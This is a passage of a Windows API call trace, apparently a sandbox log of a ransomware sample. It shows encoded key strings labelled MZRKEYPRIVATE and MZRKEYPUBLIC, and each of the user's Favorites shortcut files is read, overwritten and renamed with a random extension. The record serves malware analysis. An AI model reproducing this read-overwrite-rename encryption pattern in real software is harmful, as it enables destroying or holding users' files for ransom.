lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.277] GetCurrentThreadId () returned 0xa30 [0125.277] GetCurrentThreadId () returned 0xa30 [0125.277] GetCurrentThreadId () returned 0xa30 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.278] GetCurrentThreadId () returned 0xa30 [0125.278] GetCurrentThreadId () returned 0xa30 [0125.278] GetCurrentThreadId () returned 0xa30 [0125.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.279] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.279] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.279] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.279] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.279] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.282] CloseHandle (hObject=0x1ec) returned 1 [0125.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.290] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.292] CloseHandle (hObject=0x1ec) returned 1 [0125.292] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.zv7un")) returned 1 [0125.293] GetCurrentThreadId () returned 0xa30 [0125.294] GetCurrentThreadId () returned 0xa30 [0125.294] GetCurrentThreadId () returned 0xa30 [0125.294] GetCurrentThreadId () returned 0xa30 [0125.294] GetCurrentThreadId () returned 0xa30 [0125.294] GetCurrentThreadId () returned 0xa30 [0125.294] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0125.294] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.294] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.294] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.296] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url")) returned 0x20 [0125.296] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", dwFileAttributes=0x80) returned 1 [0125.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.300] GetCurrentThreadId () returned 0xa30 [0125.300] GetCurrentThreadId () returned 0xa30 [0125.300] GetCurrentThreadId () returned 0xa30 [0125.301] WideCharToMultiByte (in: CodePage=0x4e4, 